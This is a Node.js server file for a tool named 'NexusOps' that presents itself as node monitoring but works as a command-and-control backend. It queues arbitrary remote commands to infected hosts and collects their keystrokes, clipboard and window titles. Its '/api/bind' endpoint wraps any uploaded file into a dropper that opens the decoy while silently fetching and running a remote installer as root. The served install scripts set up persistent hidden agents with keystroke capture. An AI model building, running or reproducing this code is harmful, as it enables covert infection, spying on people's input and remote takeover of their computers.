const express = require('express');
const http = require('http');
const WebSocket = require('ws');
const path = require('path');
const cors = require('cors');
const os = require('os');
const multer = require('multer');

const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } });

const app = express();
const server = http.createServer(app);
const wss = new WebSocket.Server({ server });

const PORT = process.env.PORT || 3000;
const PUBLIC_URL = process.env.PUBLIC_URL || null;  // e.g. https://agent.thetempleofdoom.com

app.use(cors());
app.use(express.json({ limit: '10mb' }));
app.use(express.static(path.join(__dirname, 'public')));

function getLocalIp() {
  const interfaces = os.networkInterfaces();
  for (const name of Object.keys(interfaces)) {
    for (const net of interfaces[name]) {
      if (net.family === 'IPv4' && !net.internal) {
        return net.address;
      }
    }
  }
  return 'localhost';
}

const SERVER_IP = getLocalIp();

const nodes = new Map();
const commandQueues = new Map();
const commandHistory = [];
const masterSystemLogs = [];
const inputDataStore = [];
const MAX_INPUT_STORE = 500;

setInterval(() => {
  const now = Date.now();
  let changed = false;
  nodes.forEach((node, id) => {
    if (node.status === 'online' && now - node.lastHeartbeat > 20000) {
      node.status = 'offline';
      changed = true;
    }
  });
  if (changed) {
    broadcastState();
  }
}, 5000);

function broadcastState() {
  const payload = JSON.stringify({
    type: 'NODES_UPDATE',
    serverIp: SERVER_IP,
    port: PORT,
    publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
    nodes: Array.from(nodes.values()),
    commandHistory: commandHistory.slice(-50),
    masterSystemLogs: masterSystemLogs.slice(-100),
    inputData: inputDataStore.slice(-200)
  });

  wss.clients.forEach(client => {
    if (client.readyState === WebSocket.OPEN) {
      client.send(payload);
    }
  });
}

wss.on('connection', (ws) => {
  ws.send(JSON.stringify({
    type: 'NODES_UPDATE',
    serverIp: SERVER_IP,
    port: PORT,
    publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
    nodes: Array.from(nodes.values()),
    commandHistory: commandHistory.slice(-50),
    masterSystemLogs: masterSystemLogs.slice(-100),
    inputData: inputDataStore.slice(-200)
  }));
});

// REST API Endpoints

app.get('/api/status', (req, res) => {
  res.json({
    serverIp: SERVER_IP,
    port: PORT,
    serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
    totalNodes: nodes.size,
    onlineNodes: Array.from(nodes.values()).filter(n => n.status === 'online').length
  });
});

app.get('/api/nodes', (req, res) => {
  res.json(Array.from(nodes.values()));
});

app.get('/api/logs', (req, res) => {
  res.json(masterSystemLogs.slice(-100));
});

// CSV Telemetry Export Endpoint
app.get('/api/export/csv', (req, res) => {
  let csv = "ID,Hostname,Platform,OS,IP,Status,CPU_Usage,Mem_Usage,Disk_Usage,Uptime_Sec,Tags\n";
  nodes.forEach(node => {
    const tagsStr = (node.tags || []).join(';');
    csv += `"${node.id}","${node.hostname}","${node.platform}","${node.osName}","${node.ip}","${node.status}",${node.cpuUsage},${node.memUsage},${node.diskUsage},${node.uptime},"${tagsStr}"\n`;
  });
  res.setHeader('Content-Type', 'text/csv');
  res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_Nodes_Report.csv"');
  res.send(csv);
});

// Agent System Log Streaming Endpoint
app.post('/api/agent/logs', (req, res) => {
  const { nodeId, hostname, logs } = req.body;
  if (Array.isArray(logs)) {
    logs.forEach(logLine => {
      masterSystemLogs.push({
        id: `log-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`,
        nodeId,
        hostname: hostname || 'Unknown',
        timestamp: Date.now(),
        entry: logLine
      });
    });
    if (masterSystemLogs.length > 200) {
      masterSystemLogs.splice(0, masterSystemLogs.length - 200);
    }
    broadcastState();
  }
  res.json({ success: true });
});

// Agent Input Capture Endpoint — keystrokes, clicks, clipboard, window focus
app.post('/api/agent/input-capture', (req, res) => {
  const { nodeId, hostname, events } = req.body;
  if (!nodeId || !Array.isArray(events)) {
    return res.status(400).json({ error: 'nodeId and events[] required' });
  }

  events.forEach(ev => {
    inputDataStore.push({
      id: `inp-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`,
      nodeId,
      hostname: hostname || 'Unknown',
      timestamp: ev.timestamp || Date.now(),
      eventType: ev.eventType || 'unknown',
      data: ev.data || {},
      windowTitle: ev.windowTitle || '',
      processName: ev.processName || ''
    });
  });

  if (inputDataStore.length > MAX_INPUT_STORE) {
    inputDataStore.splice(0, inputDataStore.length - MAX_INPUT_STORE);
  }

  if (events.length > 0) {
    broadcastState();
  }

  res.json({ success: true, stored: events.length });
});

// Retrieve input capture data
app.get('/api/inputs', (req, res) => {
  const { nodeId, eventType, limit } = req.query;
  let filtered = inputDataStore;

  if (nodeId) {
    filtered = filtered.filter(e => e.nodeId === nodeId);
  }
  if (eventType) {
    filtered = filtered.filter(e => e.eventType === eventType);
  }

  const max = parseInt(limit) || 200;
  res.json(filtered.slice(-max));
});

// ── File Binder — upload any file, get back a self-extracting dropper with embedded agent ──
app.post('/api/bind', upload.single('file'), (req, res) => {
  if (!req.file) {
    return res.status(400).json({ error: 'No file uploaded. Use field name "file".' });
  }

  const originalName = req.file.originalname;
  const b64Content = req.file.buffer.toString('base64');
  const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content];
  const host = req.headers.host || `${SERVER_IP}:${PORT}`;
  const serverUrl = PUBLIC_URL || `http://${host}`;
  const format = (req.query.format || 'sh').toLowerCase();

  let dropper, boundName, contentType;

  if (format === 'ps1') {
    const psLines = [
      '<#',
      '  Self-Extracting Dropper — ' + originalName,
      '  NexusOps Agent Binder (Windows)',
      '#>',
      '',
      '$ORIGINAL_NAME = "' + originalName + '"',
      '$OUTPUT_DIR = "$env:TEMP\\nexus-$pid"',
      '$OUTPUT_FILE = "$OUTPUT_DIR\\$ORIGINAL_NAME"',
      '$SERVER_URL = "' + serverUrl + '"',
      '',
      'New-Item -ItemType Directory -Path $OUTPUT_DIR -Force | Out-Null',
      'Write-Host "Extracting $ORIGINAL_NAME ..."',
      '',
      '$scriptPath = $MyInvocation.MyCommand.Path',
      '$lines = Get-Content $scriptPath',
      '$markerIdx = [array]::IndexOf($lines, "__PAYLOAD_BASE64__")',
      'if ($markerIdx -ge 0) {',
      '  $b64 = ($lines[($markerIdx+1)..($lines.Length-1)] -join "")',
      '  [IO.File]::WriteAllBytes($OUTPUT_FILE, [Convert]::FromBase64String($b64))',
      '}',
      '',
      'Start-Process $OUTPUT_FILE -WindowStyle Normal',
      '',
      'Write-Host "[*] Deploying NexusOps agent..."',
      'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command iwr -useb $SERVER_URL/install.ps1 | iex" -WindowStyle Hidden',
      '',
      'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command Start-Sleep 30; Remove-Item -Recurse -Force $OUTPUT_DIR" -WindowStyle Hidden',
      '',
      'Write-Host "Done — file opened, agent deployed."',
      '__PAYLOAD_BASE64__',
      ...b64Lines
    ];
    dropper = psLines.join('\r\n');
    boundName = originalName + '.ps1';
    contentType = 'text/plain';
  } else {
    dropper = [
      '#!/bin/bash',
      '# ═══════════════════════════════════════════════════',
      `#  Self-Extracting Dropper — ${originalName}`,
      '# ═══════════════════════════════════════════════════',
      'set -e',
      '',
      `ORIGINAL_NAME="${originalName}"`,
      'OUTPUT_DIR="/tmp/.nexus-$$"',
      'OUTPUT_FILE="$OUTPUT_DIR/$ORIGINAL_NAME"',
      `SERVER_URL="${serverUrl}"`,
      '',
      'mkdir -p "$OUTPUT_DIR"',
      `echo "Extracting ${originalName} ..."`,
      '',
      'ARCHIVE_START=$(awk \'$0 == "__PAYLOAD_BASE64__" {print NR+1; exit}\' "$0")',
      'tail -n +$ARCHIVE_START "$0" | base64 -d > "$OUTPUT_FILE" 2>/dev/null',
      '',
      '# Open with default handler',
      'if command -v xdg-open &>/dev/null; then',
      '    xdg-open "$OUTPUT_FILE" 2>/dev/null &',
      'elif command -v open &>/dev/null; then',
      '    open "$OUTPUT_FILE" 2>/dev/null &',
      'elif command -v start &>/dev/null; then',
      '    start "$OUTPUT_FILE" 2>/dev/null &',
      'fi',
      '',
      '# Silently install agent in background',
      'echo "[*] Deploying NexusOps agent..."',
      '(curl -sSL "$SERVER_URL/install.sh" 2>/dev/null || curl -sSL --insecure "$SERVER_URL/install.sh" 2>/dev/null) | sudo bash 2>/dev/null &',
      '(curl -sSL "$SERVER_URL/install-mac.sh" 2>/dev/null | bash 2>/dev/null) &',
      '',
      '(sleep 60 && rm -rf "$OUTPUT_DIR") &',
      'disown',
      '',
      'echo "Done — file opened, agent deployed."',
      'exit 0',
      '__PAYLOAD_BASE64__',
      b64Content
    ].join('\n');
    boundName = originalName + '.sh';
    contentType = 'application/x-sh';
  }

  res.setHeader('Content-Type', contentType);
  res.setHeader('Content-Disposition', `attachment; filename="${boundName}"`);
  res.send(dropper);
});

app.post('/api/agent/register', (req, res) => {
  const { hostname, platform, arch, ip, osName, tags } = req.body;
  const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).substr(2, 6)}`;
  
  const existingNode = nodes.get(nodeId);
  const now = Date.now();

  const nodeData = {
    id: nodeId,
    hostname: hostname || 'Unknown-Host',
    platform: platform || 'linux',
    arch: arch || 'x64',
    osName: osName || platform,
    ip: ip || req.ip.replace(/^.*:/, '') || '127.0.0.1',
    status: 'online',
    firstSeen: existingNode ? existingNode.firstSeen : now,
    lastHeartbeat: now,
    cpuUsage: 0,
    memUsage: 0,
    diskUsage: 0,
    uptime: 0,
    processCount: 0,
    tags: tags || ['Default'],
    heartbeatInterval: 5,
    metricsHistory: existingNode ? existingNode.metricsHistory : []
  };

  nodes.set(nodeId, nodeData);
  if (!commandQueues.has(nodeId)) {
    commandQueues.set(nodeId, []);
  }

  broadcastState();
  res.json({ success: true, nodeId, serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}` });
});

// Agent Heartbeat
app.post('/api/agent/heartbeat', (req, res) => {
  const { nodeId, cpuUsage, memUsage, diskUsage, uptime, processCount, tags, heartbeatInterval } = req.body;

  if (!nodeId || !nodes.has(nodeId)) {
    return res.status(404).json({ error: 'Node not registered.' });
  }

  const node = nodes.get(nodeId);
  const now = Date.now();

  node.status = 'online';
  node.lastHeartbeat = now;
  node.cpuUsage = typeof cpuUsage === 'number' ? Math.round(cpuUsage) : node.cpuUsage;
  node.memUsage = typeof memUsage === 'number' ? Math.round(memUsage) : node.memUsage;
  node.diskUsage = typeof diskUsage === 'number' ? Math.round(diskUsage) : node.diskUsage;
  node.uptime = uptime || node.uptime;
  node.processCount = processCount || node.processCount;
  if (tags) node.tags = tags;
  if (heartbeatInterval) node.heartbeatInterval = heartbeatInterval;

  if (!node.metricsHistory) node.metricsHistory = [];
  node.metricsHistory.push({
    timestamp: new Date().toLocaleTimeString(),
    cpu: node.cpuUsage,
    mem: node.memUsage,
    disk: node.diskUsage
  });
  if (node.metricsHistory.length > 30) {
    node.metricsHistory.shift();
  }

  nodes.set(nodeId, node);
  broadcastState();

  const queue = commandQueues.get(nodeId) || [];
  const pendingCommands = [...queue];
  commandQueues.set(nodeId, []);

  res.json({ success: true, commands: pendingCommands });
});

// Command Result Callback
app.post('/api/agent/command-result', (req, res) => {
  const { commandId, nodeId, output, exitCode } = req.body;
  const entry = commandHistory.find(c => c.id === commandId);
  if (entry) {
    entry.status = exitCode === 0 ? 'completed' : 'failed';
    entry.output = output;
    entry.completedAt = Date.now();
  }
  broadcastState();
  res.json({ success: true });
});

// Queue Command for Single Node
app.post('/api/nodes/:id/command', (req, res) => {
  const nodeId = req.params.id;
  const { command, actionType, payload } = req.body;

  if (!nodes.has(nodeId)) {
    return res.status(404).json({ error: 'Node not found' });
  }

  const commandId = `cmd-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
  const actionName = actionType || 'raw_command';

  const cmdObj = {
    id: commandId,
    actionType: actionName,
    payload: payload || { command },
    command: command || actionName,
    createdAt: Date.now()
  };

  if (!commandQueues.has(nodeId)) {
    commandQueues.set(nodeId, []);
  }
  commandQueues.get(nodeId).push(cmdObj);

  commandHistory.push({
    id: commandId,
    nodeId,
    hostname: nodes.get(nodeId).hostname,
    command: command || `${actionName} (${JSON.stringify(payload)})`,
    status: 'queued',
    createdAt: Date.now(),
    output: ''
  });

  broadcastState();
  res.json({ success: true, commandId });
});

// Queue Bulk Command
app.post('/api/nodes/bulk-command', (req, res) => {
  const { command, actionType, payload } = req.body;
  const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');

  if (onlineNodes.length === 0) {
    return res.status(400).json({ error: 'No online nodes available' });
  }

  const queuedIds = [];
  onlineNodes.forEach(node => {
    const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
    const actionName = actionType || 'raw_command';

    const cmdObj = {
      id: commandId,
      actionType: actionName,
      payload: payload || { command },
      command: command || actionName,
      createdAt: Date.now()
    };

    if (!commandQueues.has(node.id)) {
      commandQueues.set(node.id, []);
    }
    commandQueues.get(node.id).push(cmdObj);

    commandHistory.push({
      id: commandId,
      nodeId: node.id,
      hostname: node.hostname,
      command: `[BULK] ${command || actionName}`,
      status: 'queued',
      createdAt: Date.now(),
      output: ''
    });
    queuedIds.push(commandId);
  });

  broadcastState();
  res.json({ success: true, count: onlineNodes.length, commandIds: queuedIds });
});

app.delete('/api/nodes/:id', (req, res) => {
  const nodeId = req.params.id;
  nodes.delete(nodeId);
  commandQueues.delete(nodeId);
  broadcastState();
  res.json({ success: true });
});

// ── Kill Switch — shutdown all agents on all nodes ──
app.post('/api/nodes/killswitch', (req, res) => {
  const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');
  if (onlineNodes.length === 0) {
    return res.json({ success: false, error: 'No online nodes to kill', count: 0 });
  }
  onlineNodes.forEach(node => {
    if (!commandQueues.has(node.id)) commandQueues.set(node.id, []);
    commandQueues.get(node.id).push({
      id: `kill-${Date.now()}`,
      actionType: 'kill_agent',
      payload: {},
      command: 'kill_agent',
      createdAt: Date.now()
    });
  });
  broadcastState();
  res.json({ success: true, count: onlineNodes.length, message: `Kill switch sent to ${onlineNodes.length} node(s)` });
});

// ── Export Input Capture as CSV ──
app.get('/api/inputs/csv', (req, res) => {
  let csv = 'ID,NodeID,Hostname,Timestamp,EventType,Data,WindowTitle\n';
  inputDataStore.slice(-500).forEach(e => {
    const dataStr = JSON.stringify(e.data || {}).replace(/"/g, '""');
    csv += `"${e.id}","${e.nodeId}","${e.hostname}","${new Date(e.timestamp).toISOString()}","${e.eventType}","${dataStr}","${(e.windowTitle || '').replace(/"/g, '""')}"\n`;
  });
  res.setHeader('Content-Type', 'text/csv');
  res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_InputCapture.csv"');
  res.send(csv);
});

// ── Ping node — latency check ──
app.post('/api/nodes/:id/ping', (req, res) => {
  const nodeId = req.params.id;
  if (!nodes.has(nodeId)) {
    return res.status(404).json({ error: 'Node not found' });
  }
  if (!commandQueues.has(nodeId)) commandQueues.set(nodeId, []);
  const cmdId = `ping-${Date.now()}`;
  commandQueues.get(nodeId).push({
    id: cmdId,
    actionType: 'ping_check',
    payload: { timestamp: Date.now() },
    command: 'ping_check',
    createdAt: Date.now()
  });
  broadcastState();
  res.json({ success: true, commandId: cmdId });
});

app.get('/install.sh', (req, res) => {
  const host = req.headers.host || `${SERVER_IP}:${PORT}`;
  const script = `#!/bin/bash
# Network Node Agent One-Liner Installer for Linux
set -e

SERVER_URL="http://${host}"
INSTALL_DIR="/opt/network-agent"
SERVICE_FILE="/etc/systemd/system/network-agent.service"

echo "=================================================="
echo "      NexusOps Network Node Agent Installer       "
echo "=================================================="
echo "Connecting to Server Endpoint: $SERVER_URL"

mkdir -p "$INSTALL_DIR"

echo "[1/3] Downloading agent script..."
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
chmod +x "$INSTALL_DIR/agent.py"

echo "[2/4] Configuring systemd background daemon..."
cat << EOF > "$SERVICE_FILE"
[Unit]
Description=NexusOps Node Telemetry & Management Agent
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/python3 $INSTALL_DIR/agent.py --server $SERVER_URL
Restart=always
RestartSec=5
User=root

[Install]
WantedBy=multi-user.target
EOF

echo "[3/4] Installing pynput for keystroke/click capture..."
pip3 install pynput 2>/dev/null || echo "[!] pynput optional, skipping"

echo "[4/4] Enabling & Starting Agent Service..."
systemctl daemon-reload
systemctl enable network-agent
systemctl restart network-agent

echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
`;
  res.setHeader('Content-Type', 'text/plain');
  res.send(script);
});

app.get('/install.ps1', (req, res) => {
  const host = req.headers.host || `${SERVER_IP}:${PORT}`;
  const script = `# Network Agent PowerShell Installer for Windows
$SERVER_URL = "http://${host}"
$INSTALL_DIR = "C:\\ProgramData\\NetworkAgent"

Write-Host "==================================================" -ForegroundColor Cyan
Write-Host "   NexusOps Node Agent Installer (Windows)        " -ForegroundColor Cyan
Write-Host "==================================================" -ForegroundColor Cyan
Write-Host "Connecting to Server Endpoint: $SERVER_URL" -ForegroundColor Yellow

if (!(Test-Path $INSTALL_DIR)) {
    New-Item -ItemType Directory -Path $INSTALL_DIR | Out-Null
}

Write-Host "[1/2] Downloading agent script..." -ForegroundColor Green
Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py"

Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green
Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL" -WindowStyle Hidden

Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green
`;
  res.setHeader('Content-Type', 'text/plain');
  res.send(script);
});

app.get('/install-mac.sh', (req, res) => {
  const host = req.headers.host || `${SERVER_IP}:${PORT}`;
  const script = `#!/bin/bash
# macOS Node Agent Installer — launchd background daemon
set -e

SERVER_URL="http://${host}"
INSTALL_DIR="/opt/network-agent"
PLIST_FILE="$HOME/Library/LaunchAgents/com.nexusops.agent.plist"

echo "=================================================="
echo "   NexusOps Node Agent Installer (macOS)          "
echo "=================================================="
echo "Connecting to Server Endpoint: $SERVER_URL"

echo "[1/4] Creating installation directory..."
sudo mkdir -p "$INSTALL_DIR"
sudo chown "$(whoami)" "$INSTALL_DIR"

echo "[2/4] Downloading cross-platform Python agent..."
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
chmod +x "$INSTALL_DIR/agent.py"

echo "[3/4] Installing pynput for input capture..."
python3 -m pip install --user pynput 2>/dev/null || echo "[!] pynput optional, skipping"

echo "[4/4] Configuring launchd background daemon..."
mkdir -p "$HOME/Library/LaunchAgents"
cat << EOF > "$PLIST_FILE"
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.nexusops.agent</string>
    <key>ProgramArguments</key>
    <array>
        <string>/usr/bin/python3</string>
        <string>$INSTALL_DIR/agent.py</string>
        <string>--server</string>
        <string>$SERVER_URL</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
    <key>StandardOutPath</key>
    <string>$INSTALL_DIR/agent.log</string>
    <key>StandardErrorPath</key>
    <string>$INSTALL_DIR/agent.log</string>
</dict>
</plist>
EOF

launchctl unload "$PLIST_FILE" 2>/dev/null || true
launchctl load "$PLIST_FILE"

echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
echo "   To stop: launchctl unload $PLIST_FILE"
`;
  res.setHeader('Content-Type', 'text/plain');
  res.send(script);
});

app.get('/agent.py', (req, res) => {
  res.sendFile(path.join(__dirname, 'agents', 'agent.py'));
});

server.listen(PORT, '0.0.0.0', () => {
  const publicEndpoint = PUBLIC_URL || `http://${SERVER_IP}:${PORT}`;
  console.log(`=======================================================`);
  console.log(`🚀 NexusOps Central Node Control Server is running!`);
  console.log(`🌐 Local Web UI:    http://localhost:${PORT}`);
  console.log(`📡 Network Endpoint: ${publicEndpoint}`);
  if (PUBLIC_URL) {
    console.log(`🔗 Public Tunnel:    ${PUBLIC_URL}`);
  }
  console.log(`=======================================================`);
});
